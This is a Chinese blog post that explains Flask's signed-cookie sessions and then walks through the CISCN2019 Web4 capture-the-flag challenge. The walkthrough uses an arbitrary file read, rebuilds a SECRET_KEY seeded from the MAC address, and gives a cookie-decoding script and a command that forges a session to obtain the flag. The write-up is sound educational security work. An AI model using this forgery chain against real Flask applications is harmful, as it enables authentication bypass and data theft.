Flask-session用法

本文详细介绍了Flask框架中的session机制,包括其基于cookie的实现方式、session对象的使用方法以及SECRET_KEY的重要性。通过示例代码展示了session的生命周期和操作流程,并提供了一个Flask-session题目解析,讲解了如何利用SECRET_KEY解码和伪造session以获取敏感信息。同时,文中还提及了通过mac地址和随机数生成SECRET_KEY的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先还是先从概念入手,最近学习越学越来越觉得自己菜
在这里插入图片描述

Flask-session:

概念:

session咱们都知道是基于cookjie实现的,保存在服务器的键值对,同时在浏览器的cookie中也会保存相同的随机字符串,用来再次请求时拿出来,进行验证。

注意:Flask中的session是保存在浏览器中的,默认的key是session(加密的cookie),当然也可以将其保存在数据库中

flask中有一个session对象,它允许你在不同请求间存储特定用户的信息。它是在cookie的基础上实现的,并且对cookie进行密钥签名要使用会话,你需要设置一个密钥

同request一样,session基于上下文管理

SECRET_KEY:

flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。
配置方法一:
新建一个config.py文件配置secret_key

SECRET_KEY='XXXXXXXXXX'

然后在运行主文件里面添加config文件里面的内容
main.py:

from flask import Flask,session
import config
app=Flask(__name__)

配置方法二:
直接在主运行模块里面配置,配置config的时候也是和操作字典是一样的
main.py:

from flask import Flask,session
app=Flask(__name__)
app.config['SESSION_KEY']='XXXXXX'
或:app.secret_key='xxxxxxx'

session的操作命令:

session的操作本质和操作字典一样
增:

session['username']'xxx'

查:

result=session['key']       #如果key不存在,会raise Error
result=session.get('key')   #如果key不存在,返回None

删:

session.pop('key')

清空:

session.clear

session的流程:

第一次请求进来,会把session所有的值都放入内存,对session的增删查改的命令都是在内存中进行的

  class SecureCookieSessionInterface(SessionInterface):
     open_session --> 打开,获取 app.session_cookie_name获取加密的session, 然后进行解密, save_session  --> 对操作完的sesison进行加密 保存

flask中 session的流程详解

1, 用户请求的request进来,实例化RequestContext,创建request_context对象,初始化session为空
在这里插入图片描述
在这里插入图片描述
2, 当接受到用户请求之后,会调用Flask对象的session_interface对象的open_session方法,以此来获取一个session对象。
3, 数据返回给用户,并把内容中的session重新保存
在这里插入图片描述
在这里插入图片描述
参考链接:
https://www.cnblogs.com/big-handsome-guy/p/8550310.html
https://www.cnblogs.com/big-handsome-guy/p/8550310.html

[CISCN2019 华东南赛区]Web4

点击readsomething发现url添加了百度,url里多了url参数,猜测存在任意文件读取。
读取/api/app.py 有源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

这就是一个flask-session题,``

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

读取/sys/class/net/eth0/address可以得到了mac地址
在这里插入图片描述
然后咱们主要是或者secretkey

Python 2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> random.seed(0x46948203283a)
>>> print(str(random.random()*233))
103.025665766

在这里插入图片描述
用脚本解码我们原来的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    s = "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YlWPqw.VtwY8brhyAARA4xqls4ihtreLtc"
    print(decryption(s.encode()))

得到{‘username’: b’www-data’}
在这里插入图片描述
{‘username’: b’www-data’}改为{‘username’: b’fuck’},用flask-session插件配合秘钥加密。

G:\flask-session-manager\flask-session-cookie-manager-master>python3 flask_session_cookie_manager3.py encode -s 103.025665766 -t "{'username':b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YlWUug.asVFH_xqPhDtxofvKrBa6XqUjNs

伪造session,携带伪造的session访问flag路由即可拿到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值